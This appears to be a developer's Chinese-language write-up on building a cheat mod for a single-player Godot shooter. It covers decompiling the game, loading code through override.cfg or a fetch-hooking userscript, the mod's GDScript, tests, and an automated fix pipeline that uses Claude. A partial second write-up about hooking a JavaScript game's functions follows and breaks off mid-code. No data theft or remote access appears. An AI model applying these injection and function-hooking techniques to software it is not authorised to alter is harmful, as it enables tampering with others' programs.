「廢棄城市（Abandoned City FPS）」是 DUNGEON REBORN 同一位作者的新作，用 Godot 4.7.2 做的殭屍射擊遊戲，有 10 個關卡的殭屍模式和 12 人的單機大逃殺。原始碼公開在 GitHub。一開始網頁版放在作者的 GitHub Pages；2026-10-17 作者推出 v2.0 後拿掉了網頁版（8eeb89c），現在只在 itch.io 和 GitHub Releases 發行 Windows exe 與 Android APK。

結論先寫在前面：

• 不管是當時的網頁版 index.pck，還是現在 Windows exe 內嵌的 pck，反編譯回來都跟 GitHub 原始碼一致。沒有加密、沒有混淆、沒有反作弊，也不連網驗證。
• 存檔是純文字的 Godot ConfigFile，沒有簽章。排行榜是遊戲自己用固定名單加亂數產生的。
• 外掛不改作者的任何檔案。Godot 啟動時會讀一份 override.cfg 覆寫專案設定，外掛就在這裡把自己登記成 autoload。網頁版時期由 Tampermonkey 在引擎啟動前把它塞進虛擬檔案系統；v2.0 起改成直接寫在 exe 旁邊。
• 作者每次發行新版，siao-server 會自動下載 exe、反編譯，跑 86 項 Godot 無頭測試，再照玩家的步驟把外掛裝到作者的 exe 上實測一次。對不上就把錯誤交給 Claude 修，修好才推出新版。

外掛 repo：siao/abandoned-city-fps-mod。安裝步驟：

1. 從 itch.io 或 GitHub Releases 下載遊戲 AbandonedCityFPS-windows.exe。
2. 到外掛 repo 右上角登入（accounts.siao.ai 免費註冊），按「程式碼」→「下載 ZIP」。要用 git clone 的話，同一個選單有 clone 網址和存取權杖。
3. 解壓縮後雙擊 windows\install.bat。整個資料夾放在遊戲 exe 旁邊會自動找到遊戲，找不到時會跳出視窗讓你選。移除就雙擊 windows\uninstall.bat。

外掛面板固定在遊戲畫面右上角，點標題列（或按 `、F2）收合、展開，各區塊也能個別收合，狀態會記住。遊戲進行中按 ` 放出滑鼠來點面板，要回到遊戲就按 Tab 或點畫面空白處，滑鼠會鎖回去，面板保持原樣。

所有數值欄位都只有下限、沒有上限，可以直接輸入任意大的數字。遊戲中的熱鍵：U 無敵、I 回滿血、K 清怪／淘汰、N 下一波、J 刷怪、O 遊戲加速、Y 飛行、L 跳傘立即著陸。在數值欄打字時熱鍵不會觸發。v1.x 用的 G、H、T 在 v2.0 的大逃殺變成手榴彈、醫療包、護甲板，所以外掛改用 U、I、O。

（1）反編譯：pck 就是原始碼

網頁版的檔案只有幾個：index.html、index.js（Godot 的載入器）、index.wasm（引擎，39 MB）和 index.pck（遊戲本體，約 1.7 MB）。遊戲邏輯全部在 pck 裡。

pck 標頭寫著格式版本和引擎版本 4.7.2。匯出設定 script_export_mode=2，代表 GDScript 是以二進位 token 形式存放，不是純文字。這不是加密，GDRE Tools 可以還原：

gdre_tools --headless --recover=index.pck --output=out
Decompiled scripts:  24
Scripts not decompiled:  0

24 支腳本全部還原。把還原結果跟 GitHub 上的原始碼逐檔比對（去掉註解和空白），24 支裡 22 支完全相同，剩下兩支的差異只是格式：

• 反編譯把 0.40 寫成 0.4；
• 多行字串改用三個引號。

再拿 server 上的 Godot 4.7.2 編輯器，從 GitHub 原始碼直接匯出 pck，大小是 1709660 bytes，跟作者網頁版的 index.pck 一模一樣。所以這款遊戲目前不需要逆向：GitHub 上的原始碼就是線上跑的版本。

監看程式還是會每次反編譯、比對，因為 DUNGEON REBORN 就是在某一版之後才突然加上混淆。比對結果一旦不一致，就代表上線版本跟 GitHub 不同，這時反編譯結果才是唯一可信的來源。

v2.0 拿掉網頁版之後，比對對象換成 Windows exe。Godot 匯出的 exe 是「引擎 + 內嵌 pck」，GDRE Tools 可以直接吃 exe：

gdre_tools --headless --recover=AbandonedCityFPS-windows.exe --output=out
Decompiled scripts:  44
Scripts not decompiled:  0

v2.0 的腳本從 24 支增加到 44 支，同樣跟 GitHub 原始碼一致。

（2）遊戲結構與數值

三個 autoload 管全域狀態：Game（模式、關卡、分數、勝負）、Save（存檔、喪屍幣、裝備、抽獎）、Sfx（程式合成的音效）。主場景 main.tscn 底下有 Player、EnemySpawner、Skills、BR（大逃殺管理）和 UI。

傷害公式是 damage * damage_mult * equip_dmg * falloff。超過射程一半後，falloff 從 1.0 線性降到 0.35。命中判定在客戶端用 intersect_ray，沒有爆頭判定。

殭屍有三種：NORMAL（血量 60+15w）、RUNNER（35+8w，第 2 波起出現）、TANK（250+40w，第 3 波起出現），w 是波次減 1。每一關再乘上關卡的血量倍率：

大逃殺是單機的，11 個對手都是 AI。安全區分 5 個階段縮小，圈外每秒扣血：

剩自己一人時會降下空投，打開後從還沒擁有的稀有以上裝備抽一件，3.2 秒後結算勝利。

（3）存檔與防護

存檔在 user://profile.cfg，網頁版對應到瀏覽器的 IndexedDB。格式是 Godot 的 ConfigFile，就是 INI 風格的純文字，沒有雜湊或簽章：

• [profile]：coins、owned_skins、owned_equip、equipped、cleared_level、level_best、大逃殺紀錄等；
• [settings]：音量、靈敏度、FOV、觸控模式。

讀檔時會檢查裝備、皮膚是否存在且已擁有，但不檢查 coins 和 cleared_level 的範圍。排行榜 Leaderboard.entries() 用固定的 NAMES 和分數表加上每天的亂數抖動合成，不連任何伺服器。整個遊戲找不到 HTTPRequest 或 WebSocket。

所以這款遊戲沒有需要繞過的防線。外掛要解決的只有一件事：怎麼讓自己的程式碼跑進遊戲裡。

（4）外掛怎麼進到遊戲

v1.x 走網頁版，v2.0 起走 Windows exe，兩條路最後都落在同一個 Godot 機制：override.cfg。下面先講網頁版時期的做法，再講網頁版下架之後怎麼改。

1. 網頁版時期：瀏覽器的 JS 碰不到遊戲

DUNGEON REBORN 是純 JavaScript，外掛可以直接改遊戲物件。這款不行：遊戲邏輯是 GDScript，跑在 wasm 裡的 Godot 引擎中，player.health 這種變數只存在引擎的記憶體裡，頁面的 JS 看不到。

外掛只能用 GDScript 寫，再想辦法讓引擎載入它。Godot 的做法是 autoload：在專案設定的 [autoload] 區段登記一支腳本，引擎啟動時會把它建成全域節點，跟 Game、Save 一樣。外掛本體 mod/cheat.gd 就是這樣一個節點。

2. 網頁版時期：在引擎啟動前放進檔案

Godot 網頁版的啟動流程在 index.js 裡。頁面執行 engine.startGame()，它做兩件事：載入 wasm，以及用 fetch 下載 index.pck 放進預載清單。兩邊都好了，引擎才把預載清單裡的檔案寫進虛擬檔案系統，然後執行 main。

engine.preloadFile(buffer, path) 是公開的 API，可以把任何資料排進同一份預載清單。Godot 啟動時，讀完主 pck 裡的 project.binary 之後，還會讀主 pck 同目錄的 override.cfg，用它覆寫專案設定。這是 Godot 給玩家改設定用的機制，[autoload] 也能寫在裡面。

所以外掛只要在預載清單裡多放兩個檔案：

匯出的遊戲照樣內建 GDScript 編譯器，純文字的 .gd 會在啟動時編譯。cheat.gd 裡用 preload("res://scripts/data/weapon_db.gd") 讀遊戲自己的資料表，也照常能用。

攔截點選在 index.pck 的 fetch，是因為只有這個時間點同時滿足兩個條件：engine 已經建好，而預載清單還沒寫進檔案系統。

    window.fetch = function (input, init) {
      const url = typeof input === 'string' ? input : (input && input.url) || '';
      if (/(^|\/)index\.pck(\?|#|$)/.test(url)) {
        try {
          const engine = (0, eval)('engine');   // index.html 裡的 const engine = new Engine(GODOT_CONFIG)
          const enc = new TextEncoder();
          engine.preloadFile(enc.encode(CHEAT).buffer, 'acmod/cheat.gd');
          engine.preloadFile(enc.encode('[autoload]\n\nCheat="*/acmod/cheat.gd"\n').buffer, 'override.cfg');
          console.log('[廢棄城市外掛] 已排入外掛檔案 v' + VERSION);
        } catch (e) {
          console.warn('[廢棄城市外掛] 注入失敗', e);
          notice('作者改了網頁載入方式，外掛這次沒有載入 (' + e.message + ')。server 會自動檢查修正。');
        }
      }
      return realFetch(input, init);

在 SiaoHub 檢視 siao/abandoned-city-fps-mod/tools/userscript.template.js L39-53

整個外掛最後是一個約 17 KB 的 .user.js，cheat.gd 以 JSON 字串內嵌在裡面，由 tools/make-userjs.py 從樣板產生。作者更新遊戲時不需要重建任何東西。只要遊戲的變數名稱沒變，同一份外掛照樣能用。這套使用者腳本留在外掛 repo 的 tag web-v1.3.0。

3. 網頁版下架之後：exe 旁邊的 override.cfg

作者在 8eeb89c 把 gh-pages 整個刪掉，GitHub Pages 變成 404，使用者腳本沒有頁面可以注入。改發行的 Windows exe 是 Godot 匯出的單一執行檔，pck 內嵌在 exe 尾端。

網頁版用到的 override.cfg 在桌面版一樣有效，而且不用搶時機。Godot 4.7.2 的 core/config/project_settings.cpp 在載入內嵌 pck 之後是這樣寫的：

Error err = _load_settings_text_or_binary("res://project.godot", "res://project.binary");
#ifdef OVERRIDE_ENABLED
	if (err == OK && !p_ignore_override) {
		// Load overrides from the PCK and the executable location.
		// Optional, we don't mind if either fails.
		bool disable_override = GLOBAL_GET("application/config/disable_project_settings_override");
		if (!disable_override) {
			_load_settings_text("res://override.cfg");
			_load_settings_text(exec_path.get_base_dir().path_join("override.cfg"));

OVERRIDE_ENABLED 在 SConstruct 裡預設開啟（disable_overrides=False），官方匯出範本都有；作者的 project.godot 也沒有設 disable_project_settings_override。所以只要在 exe 同一個資料夾放一份 override.cfg：

[autoload]
 
Cheat="*C:/Games/AbandonedCity/acmod/cheat.gd"

遊戲啟動時就會把外掛當成第一層 autoload 載入。autoload 的路徑可以是檔案系統的絕對路徑，不一定要在 res:// 底下。exe 一個位元組都不用改，作者更新時玩家直接換 exe，外掛照樣生效。

安裝交給 windows/install.ps1（install.bat 只是讓人可以雙擊的入口）。它把 cheat.gd 複製到遊戲資料夾的 acmod\，再把 Cheat= 那一行插進 override.cfg 的 [autoload] 區段。原本就有的其他設定會保留，重複安裝只會有一行，移除時也只刪這一行：

    # Godot 的路徑用正斜線
    $entry = 'Cheat="*' + ($dst -replace '\\', '/') + '"'
    # 已經有 [autoload] 區段就接在它下面，沒有就加在檔尾
    $out = New-Object System.Collections.Generic.List[string]
    $added = $false
    foreach ($l in $lines) {
        $out.Add($l)
        if (-not $added -and $l.Trim() -eq "[autoload]") {
            $out.Add($entry)
            $added = $true
        }
    }
    if (-not $added) {
        if ($out.Count -gt 0) { $out.Add("") }
        $out.Add("[autoload]")
        $out.Add("")
        $out.Add($entry)
    }
    Write-Override $cfg $out.ToArray()

在 SiaoHub 檢視 siao/abandoned-city-fps-mod/windows/install.ps1 L86-104

本節來源：README.md

（5）外掛本體

cheat.gd 每一幀從遊戲的資料表重新計算數值，不保存「改之前的值」。關掉某個功能，就直接寫回資料表裡的原版數值，不會有還原失敗的狀態。

1. 無敵用護甲，不改 take_damage

玩家受傷的公式是 damage * (1.0 - armor)，armor 由裝備決定，上限 60%。外掛把 armor 設成 1.0，傷害就是 0。安全區毒圈也走同一個 take_damage，所以一起擋掉。

GDScript 函式沒辦法從外面換掉，只能改它讀的變數。armor 只在玩家 _ready() 時讀一次裝備，之後不會被遊戲改寫，適合拿來用。每一局開始時，外掛記下這個玩家節點的原始 armor、移動速度和跳躍力，關掉無敵就寫回去。

func apply_player(p: CharacterBody3D) -> void:
	if S["god"]:
		p.armor = 1.0
		if not p.is_dead and p.health < p.max_health:
			p.health = p.max_health
			p.update_health_ui()
	else:
		p.armor = _base["armor"]
	p.move_speed = _base["speed"] * S["speed"]
	p.jump_velocity = _base["jump"] * S["jump"]

在 SiaoHub 檢視 siao/abandoned-city-fps-mod/mod/cheat.gd L93-102

2. 武器數值每幀重寫

切槍時，遊戲的 _apply_slot() 會從 WeaponDB.WEAPONS 把傷害、射速、後座力全部重新載入，所以外掛不能只改一次，每一幀都要按倍率重算。

3. 大逃殺淘汰要算玩家擊殺

AI 死亡時，die() 把 last_attacker 交給 bot_died() 判斷是誰的擊殺。沒有攻擊者會被當成「被安全區淘汰」，玩家拿不到喪屍幣。v1.x 是呼叫 take_damage(damage, 玩家) 讓遊戲自己記下攻擊者，淘汰全部對手後剩自己一人，遊戲會自己降空投、結算勝利。

v2.0 開局改成從 240 公尺高空跳傘，AI 也是空降。take_damage() 開頭多了一行：AI 還在 dropping 就直接 return。開局按淘汰，所有 AI 都還在空中，一個都打不死，自動測試就在這裡失敗（淘汰數 13，存活還是 12）。

v2.0.0 改成直接設定 last_attacker 再呼叫 die()，也順便跳過 AI 新增的護甲和護盾。另一個問題是空投：大逃殺管理器在玩家著陸之前，_process() 會提早 return，空投永遠不會開。所以淘汰之後如果玩家還在跳傘，外掛會讓玩家立即著陸。

func kill_all() -> int:
	var n := 0
	var p := player()
	for e in get_tree().get_nodes_in_group("enemies"):
		if not e.is_dead:
			e.take_damage(1000000000.0)
			n += 1
	# 大逃殺 AI 直接 die()：跳傘中的 AI 不吃傷害 (take_damage 遇到 dropping 直接 return)，
	# 護甲、護盾也會吸收。last_attacker 設成玩家才會算你的擊殺、拿喪屍幣。
	for b in get_tree().get_nodes_in_group("br_bots"):
		if not b.is_dead:
			b.last_attacker = p
			b.die()
			n += 1
	if n > 0 and Game.is_br():
		land_now()      # 跳傘中奪冠：遊戲要等玩家著陸才處理空投
	return n
 
 
# 大逃殺開局跳傘：直接落到正下方地面。玩家物理下一幀碰到地面就會照遊戲流程著陸。
func land_now() -> bool:
	var p := player()
	var br := scene_node("BR")
	if p == null or br == null or not bool(p.get("skydiving")):
		return false
	var g: Vector3 = br.ground_point(Vector3(p.global_position.x, 0.0, p.global_position.z), 0.0, 3.0)
	p.global_position = Vector3(g.x, g.y + 0.3, g.z)
	p.velocity = Vector3.ZERO
	p.dive_time = maxf(p.dive_time, 1.0)
	return true

在 SiaoHub 檢視 siao/abandoned-city-fps-mod/mod/cheat.gd L259-288

「立即著陸」不直接發 landed 訊號，而是把玩家移到正下方的地面、清掉速度。下一格玩家的 _skydive_physics() 偵測到 is_on_floor()，就照遊戲自己的流程收傘、還原鏡頭和霧、發出 landed，大逃殺開始計時。

4. 鎖回滑鼠要在按鍵當下（網頁版）

這一節只適用於網頁版；Windows 版沒有瀏覽器的限制，Input.mouse_mode 設下去就鎖住了。

遊戲本身只在切換狀態時鎖滑鼠，Game.set_state(PLAYING) 才設 Input.mouse_mode = MOUSE_MODE_CAPTURED。在瀏覽器裡按 Esc，瀏覽器會先放開滑鼠，遊戲卻還停在 PLAYING，沒有路可以鎖回去。

Godot 網頁版鎖滑鼠最後呼叫的是 canvas.requestPointerLock()。瀏覽器只准在按鍵、點擊事件的當下呼叫它，Esc 本身也不算數。Godot 的輸入要排到下一格才處理，這時呼叫有時會被擋掉。

所以鎖定分兩邊做。cheat.gd 用 JavaScriptBridge.eval 把「是否在遊玩中、面板是否展開」寫進 window.__acmodUI。使用者腳本在 keydown 的當下讀這個值，按 Tab（或面板開著時按 ` 收合）就直接 requestPointerLock()。點畫面空白處則交給 _unhandled_input：面板和遊戲按鈕會先吃掉點擊，只有點到空白處才會走到這裡，而且放開時才鎖，這一下不會被當成開槍。

    // 鎖回滑鼠：瀏覽器只准在按鍵、點擊事件的當下鎖滑鼠，Godot 要到下一格才處理輸入，有時會被擋，
    // 所以 Tab (回遊戲) 和面板開著時按 ` / F2 (收合)，這裡在按鍵當下直接鎖。遊戲狀態由 cheat.gd 寫進 window.__acmodUI。
    addEventListener('keydown', (e) => {
      const ui = window.__acmodUI;
      if (!ui) return;
      if (e.code === 'Tab') e.preventDefault();   // 不要讓 Tab 把焦點移出遊戲畫面
      if (e.repeat || !ui.playing || document.pointerLockElement) return;
      if (e.code !== 'Tab' && !((e.code === 'Backquote' || e.code === 'F2') && ui.open)) return;
      const canvas = document.getElementById('canvas');
      try {
        const p = canvas && canvas.requestPointerLock && canvas.requestPointerLock();
        if (p && p.catch) p.catch(() => {});
      } catch (_) {}
    }, true);

在 SiaoHub 檢視 siao/abandoned-city-fps-mod/tools/userscript.template.js L39-52

5. 刷怪、隱身與大逃殺加 AI

刷怪沒有呼叫遊戲的 EnemySpawner.spawn_enemy()，因為它的種類由 _pick_type() 依波次抽籤決定。外掛自己 instantiate() 殭屍場景，在 add_child 之前呼叫 setup(type, wave)，再乘上關卡的血量和速度倍率。順序不能反過來，因為殭屍的 _ready() 會把 max_health 複製成目前血量。生成點比照遊戲的作法，從上往下打射線，打到屋頂就換一個點，避免殭屍卡在建築裡。

大逃殺模式只停掉 EnemySpawner，殭屍場景本身照樣能用，所以大逃殺也能刷殭屍。刷出來的殭屍會計入殭屍模式的波次：場上殭屍要全部清光，遊戲才會進下一波。

# 刷怪：在玩家周圍 8~16 公尺生成殭屍。type 0 普通、1 跑者、2 坦克、3 隨機。
# 強度用指定波次 (0 = 目前波次) 和關卡倍率計算，大逃殺也能刷。擊殺照常算分數和喪屍幣。
# 殭屍模式要清光場上殭屍 (含刷出來的) 才會進下一波。
func spawn_zombies(n: int, type: int = 3) -> int:
	var p := player()
	var scene := get_tree().current_scene
	if p == null or scene == null or not in_run() or n <= 0:
		return 0
	var wave: int = int(S["spawn_wave"]) if int(S["spawn_wave"]) >= 1 else maxi(Game.wave, 1)
	var cfg: Dictionary = Game.level_cfg
	for i in n:
		var e := ENEMY_SCENE.instantiate()
		e.setup(type if type >= 0 and type <= 2 else randi_range(0, 2), wave)
		e.max_health *= float(cfg.get("hp_mult", 1.0))
		e.move_speed *= float(cfg.get("speed_mult", 1.0))
		e.position = ground_near(p.global_position, 8.0, 16.0)
		scene.add_child(e)
	return n

在 SiaoHub 檢視 siao/abandoned-city-fps-mod/mod/cheat.gd L359-376

隱身分兩邊做。殭屍只看兩個距離：attack_range 內攻擊、detection_range 內追擊，外掛把兩個都設成 0。大逃殺的 AI 用 combatants 群組找目標，子彈也只對這個群組的對象造成傷害，所以外掛把玩家移出這個群組，AI 就看不到也打不到你。

生成 AI 對手時照抄遊戲 _spawn_bots() 的設定，存活人數跟著加。這些 AI 被擊殺時照樣算喪屍幣。「暫停縮圈」利用 autoload 排在主場景前面：每一幀外掛先把 stage_time 加上 delta，接著大逃殺管理器再扣掉同樣的量，計時就停住了。

v2.0 新增了吐酸殭屍 SPITTER、膨脹者 BLOATER 和 Boss，EnemyAI.Type 變成 NORMAL, RUNNER, TANK, BOSS, SPITTER, BLOATER。外掛的刷怪選單原本第 4 項是「隨機」，存在設定檔裡的值是 3，剛好撞上新的 BOSS = 3。所以選單維持「隨機」在第 4 項，新種類接在後面，再用一張表對應到遊戲的編號，舊設定讀進來還是隨機。外掛刷的 Boss 有名字才會顯示 Boss 血條，外掛會幫它取名。

存檔類功能直接呼叫遊戲自己的 Save 方法，再 Save.save() 寫回。外掛自己的設定另外存在 user://acmod.cfg（Windows 是 %APPDATA%\Godot\app_userdata\AbandonedCityFPS\），不碰遊戲存檔。

（6）測試

1. Godot 無頭測試

遊戲自帶一支冒煙測試 tests/smoke.gd，用 godot --headless -s 執行，會自動開局、選技能、殺光殭屍直到勝利。外掛的 tools/test.gd 沿用同樣的開局方式，再逐項驗證外掛：

• 殭屍模式 41 項：無敵、倍率套用與還原、拿槍、無限彈藥、一擊必殺、存檔解鎖、面板與區塊收合、遊戲中鎖回滑鼠、數值欄無上限、彈丸與射程、生命上限、飛行、遊戲速度、刷怪（含吐酸殭屍、膨脹者、Boss）、隱身、喪屍幣倍率、補給、熱鍵、技能全滿、技能無冷卻、凍結、清怪算擊殺、跳波、直接過關等；
• 大逃殺 45 項：共用的檢查，加上跳傘立即著陸、生成 AI、暫停縮圈、凍結 AI、淘汰所有對手、擊殺歸屬、空投降落與開啟、奪冠結算。

v2.0 的遊戲改用 Game.gameplay_boot 判斷「這次載入是開始遊戲」，沒設的話關卡不會建、大逃殺也不會開局。測試比照遊戲自己的 tests/smoke.gd，在建主場景之前設成 true。擊殺也會順帶觸發成就獎勵（例如「初次見血」+10 喪屍幣），所以喪屍幣倍率的檢查改成「至少多拿到 3 倍」。

tools/test.sh 把遊戲專案複製一份，在 project.godot 登記 Cheat autoload，跑兩個模式，一輪約 10 秒。

2. 發行版實測

無頭測試用的是 GitHub 原始碼，不會經過玩家的安裝流程。tools/release-test.sh 拿作者發行的 exe，照玩家的步驟再測一次：

1. 建一個「遊戲 資料夾」（中文加空白），放進作者的 exe，再把外掛 repo 的 mod/、windows/ 放在旁邊，等同玩家下載 ZIP 解壓；
2. 用 PowerShell 7 執行 windows/install.ps1，確認它自己找到遊戲、寫好 override.cfg；
3. 用 Linux 版 Godot 4.7.2 以 --main-pack 讀作者 exe 內嵌的 pck。--main-pack 會讀 pck 同資料夾的 override.cfg，走的是同一條載入路徑。殭屍模式、大逃殺各跑一輪 test.gd；
4. 執行 install.ps1 -Uninstall，確認 override.cfg 和 acmod\ 都清掉。

兩個模式在作者的 v2.0 exe 上都是 41 項、45 項全部通過。另外用 Wine 直接執行作者的 Windows exe，確認 Windows 版引擎也會讀 exe 旁的 override.cfg、從中文路徑載入外掛。完整的 test.gd 在 Wine 裡沒有跑完：外掛載入後，測試卡在開局前，CPU 使用率為 0，看起來是遊戲的分幀載入在 Wine 無頭模式下不會往下走。所以 Windows 上的實際操作，目前只驗到「外掛有載入」這一步。

3. 網頁版時期的 Chromium 實測（已停用）

無頭測試驗的是邏輯，不會經過網頁載入。tools/browser-test.mjs 用 Playwright 開 headless Chromium（SwiftShader 提供 WebGL 2），載入作者的線上頁面，模擬 Tampermonkey 執行使用者腳本。它檢查四件事：外掛檔案有排進預載清單、Godot 印出外掛已載入、cheat.gd 有把遊戲狀態寫進 window.__acmodUI、console 沒有任何 GDScript 錯誤。

v1.2.0 另外手動跑過一次完整流程：開局選技能後，模擬 Esc 放開滑鼠，再分別按 Tab、點畫面空白處、按 ` 收合，三種方式都能鎖回去；點面板上的選項則維持放開。這段流程要點作者的選單座標，作者改版面就會失準，所以沒放進自動測試。

故意在 cheat.gd 放一個語法錯誤再跑一次，Godot 會印出 Parse Error 和「Failed to instantiate an autoload」，兩項檢查都失敗。

4. 假通過

自動修正流程上線前，先模擬了一次「作者把 infinite_ammo 改名成 unlimited_ammo」。流程把錯誤交給 Claude，Claude 正確修好了 cheat.gd，測試也印出「全部通過」，但項數只有 16 和 15。

原因是 test.gd 自己也讀了 w.infinite_ammo。在新版遊戲上，這一行會發生執行錯誤，GDScript 直接跳過那個函式剩下的檢查。沒跑到的檢查不會記成失敗，所以「沒有 FAIL」不代表全部通過。

現在有兩道檢查：test.gd 結束時核對每個模式應有的項數，test.sh 看到 log 裡有 SCRIPT ERROR 就判定失敗。

var passed := 0
# 每個模式應該跑到的檢查數。檢查中途出現執行錯誤時，GDScript 會跳過該函式剩下的檢查，
# 只看「沒有 FAIL」會變成假通過，所以結束時要對項數。新增或刪除檢查時要一起改。
const EXPECTED := {"zombie": 23, "br": 22}

在 SiaoHub 檢視 siao/abandoned-city-fps-mod/tools/test.gd L13-16

同時讓 Claude 在遊戲成員只是改名時，也可以同步更新 test.gd。重跑模擬後，Claude 一次改好 cheat.gd 和 test.gd 兩處，測試是完整的 23 項和 22 項通過。

（7）作者更新時

siao-server 上的 systemd timer 每 15 分鐘執行一次 watch.sh。沒有更新時只做一次 git ls-remote 和一次 GitHub releases API。

網頁版時期追的是 gh-pages 的 commit。作者刪掉 gh-pages 之後，監看改追最新 release 裡 Windows exe 的 sha256（GitHub API 直接給）。v2.0 的 release 在 07:50 UTC 建立，exe 到 08:49 才上傳，作者可能在同一個 tag 底下換檔，只看 tag 會漏掉。

給 Claude 的資料包含測試輸出、反編譯分析、新舊發行版的 diff 和新版遊戲專案（唯讀副本）。它不能執行指令，修完由流程重跑全部測試。不准它刪功能來讓測試通過，也不准它改版本號或安裝腳本。

這個工作階段不能執行指令，測試會在你結束後自動重跑。
不要刪掉功能來讓測試通過；某個功能在新版確實做不到時，保留其他功能並在 cheat.gd 註解說明。
不要改 windows/ 的安裝腳本，也不要改版本號。

在 SiaoHub 檢視 siao/abandoned-city-fps-mod/tools/update.sh L51-53

v2.0 那次，網頁版下架前還有兩個版本經過自動修正。第一次（6cb5e9d）Claude 沒找出原因，測試卡在開局；第二次（5549172）它找出 gameplay_boot，殭屍模式通過了，但沒發現跳傘中的 AI 不吃傷害。兩次都沒過，流程照設計停下來等人工處理。後面的跳傘修正、熱鍵衝突和改成 Windows 版，都是人工做的。改版後的新流程第一次自己跑，就判定外掛 v2.0.0 跟作者的 exe 直接相容。

推送用一把專用的 deploy key，只能寫入外掛 repo。部落格用的是 DUNGEON REBORN 那套既有的 deploy key，兩個監看程式共用一把鎖，不會同時推。

版本紀錄

2026-10-18 06:33 UTC · 發行版 v2.1.2 392eacee9db6

v2.1.2 修正殭屍關卡尾聲找不到敵人的問題，新增敵人保底傳送與最近敵人方位提示。

外掛 v2.0.0 直接相容，Godot 無頭測試與發行版安裝實測全部通過（3e3f639）。

2026-10-18 05:33 UTC · 發行版 v2.1.1 631667ea2037

v2.1.1 只調整設定選單介面排版，玩法、數值與防護皆無變動，發行版與原始碼一致。

外掛 v2.0.0 直接相容，Godot 無頭測試與發行版安裝實測全部通過（661a264）。

2026-10-17 19:04 UTC · 發行版 v2.1 5e88a82f1c02

v2.1 只修大逃殺 AI 卡關與全螢幕版面，加入決賽圈超時保底，無新增防護。

外掛 v2.0.0 直接相容，Godot 無頭測試與發行版安裝實測全部通過（d86f286）。

2026-10-17 14:34 UTC · 發行版 v2.0 b84196f25794

監看改追 Windows 發行版後的第一次檢查。exe 內嵌的 pck 反編譯出 44 支腳本，跟 GitHub 原始碼一致。

外掛 v2.0.0 直接相容，Godot 無頭測試與發行版安裝實測全部通過（b2f8797）。

2026-10-17 · 外掛 v2.0.0（人工）

作者拿掉網頁版，只發行 Windows exe 與 Android APK。外掛改成 Windows 安裝包，用 exe 旁的 override.cfg 載入；修正跳傘中淘汰不了 AI，熱鍵避開大逃殺的 G／H／T，刷怪加入吐酸殭屍、膨脹者和 Boss，新增跳傘立即著陸（85ea7c4、f582bd7）。Android 版要重新打包 APK、換簽章，這次沒有做。

2026-10-17 08:39 UTC · 網頁版 5549172

新增預烘焙音檔與分幀載入畫面，修正網頁凍結與無聲；數值與防護未變，網頁版與原始碼一致。

外掛 v1.3.0 對這一版測試未通過，自動修正 2 輪也沒成功，等待人工處理（59705ae）。

2026-10-17 08:08 UTC · 網頁版 6cb5e9d

v2.0 加入成長系統、槍枝配件、大逃殺跳傘與道具，資料中未見新增防護。

外掛 v1.3.0 對這一版測試未通過，自動修正 2 輪也沒成功，等待人工處理（09dfa2d）。

2026-10-16 03:03 UTC · 網頁版 ef149b1

這次更新只做效能優化（特效物件池、距離 LOD、網頁低規格模式），沒改玩法數值，也沒新增防護。

外掛 v1.0.0 直接相容，Godot 無頭測試與 Chromium 實測全部通過（eb804e5）。

2026-10-16 · 網頁版 4bb6478

作者加入 Noto Sans TC 中文字型子集，設為介面預設字型，讓中文在網頁版能正常顯示。玩法和數值沒有變。

外掛 v1.0.0 首版（cccc960）。

本節來源：README.md

Cutoff: 26/10/16

一款純前端、倖存者類網頁遊戲的外掛與逆向紀錄。目前狀態：混淆完全還原，原始碼的 192 個頂層宣告全部找回作者原名，外掛 v3 在最新版上全部功能可用。

這篇分兩段。（1）是 v2.5 時代：遊戲沒打包，不用逆向就能寫外掛。10/15 晚上作者把 game.js 混淆、包進 IIFE、加上 CSP，v2.5 當場失效，（2）之後是怎麼把它拆回來。

工具、命名表與完整的逆向紀錄在 https://git.siao.ai/siao/dungeon-reborn-mod。repo 裡不放任何遊戲程式碼，理由見（11）。本文的原始紀錄在「原始日誌」面板裡，每一節結尾的「本節來源」點下去會直接跳到那一份。程式碼片段是建置時從 SiaoHub 直接嵌入的，不是手貼。

分析目標：https://a201009200979603117-create.github.io/DUNGEON-REBORN/ 的 game.js。作者每次更新，server 上的排程會自動還原、測試外掛、更新這篇的版本紀錄，見（10）。

（1）v2.5：不用逆向也能寫外掛

遊戲沒有經過打包工具處理的時候，整個遊戲邏輯都在一支 game.js 裡，全是一般的全域函式。在 Console 打 String(hurtPlayer) 就能看到原始碼。這時候寫外掛只要三件事：找到狀態變數、讀懂主迴圈、換掉關鍵函式。

狀態在 let G 裡，G.player、G.enemies、G.skills 都在裡面。let 宣告的全域變數不會掛在 window 上，但 @grant none 的腳本直接寫 G 就拿得到：

    function Run() {
        return (typeof G !== "undefined" && G && G.player) ? G : null;
    }

在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L39-41

頂層的 function foo(){} 就是 window.foo，遊戲內部呼叫也走同一個全域綁定。把它存起來再換成自己的版本，遊戲之後每次呼叫都會先經過我的版本。無敵就是這樣做的：

    const OrigHurt = window.hurtPlayer;
    window.hurtPlayer = function (...Args) {
        if (Cfg.God && Run()) return;
        return OrigHurt.apply(this, Args);
    };

在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L44-48

一路做到 v2.5，功能有無敵、各種倍率、自動選升級、防止暫停、遊戲加速、刷怪、直接調整技能等級，還有手機版面板。真正花時間的是讀懂主迴圈，下面八個坑幾乎都是這個原因。

        const P = Game.player;
        const Nat = { Dmg: P.dmgMult, Pickup: P.pickupMult, Crit: P.crit };
 
        // 只在本幀暫時調整，本幀結束立刻還原，所以不會吃掉你的升級
        P.dmgMult = Nat.Dmg * Cfg.DmgMult;
        P.pickupMult = Nat.Pickup * Cfg.PickupMult;
        P.crit = Math.min(1, Nat.Crit + Cfg.CritAdd);

        try {
            return OrigUpdate.call(window, Dt);
        } finally {
            P.dmgMult = Nat.Dmg;
            P.pickupMult = Nat.Pickup;
            P.crit = Nat.Crit;
        }

    // 升級畫面時 updateGame 不會被呼叫，所以自動選卡要用計時器
    setInterval(function () {
        const Game = Run();
        if (!Cfg.AutoPick || !Game || !Game.choosing || !Game.choices || !Game.choices.length) return;
        let Index = Game.choices.findIndex(function (C) {
            return C.def && (C.def.kind === "evolve" || C.def.kind === "fusion");
        });
        if (Index < 0) {
            Index = Game.choices.findIndex(function (C) {
                return C.def && (C.def.kind === "weapon" || C.def.kind === "skill");
            });
        }
        if (Index < 0) Index = 0;
        window.chooseUpgrade(Index);
    }, 150);

        NextWave: function () {
            const Game = Run(); if (!Game) return;
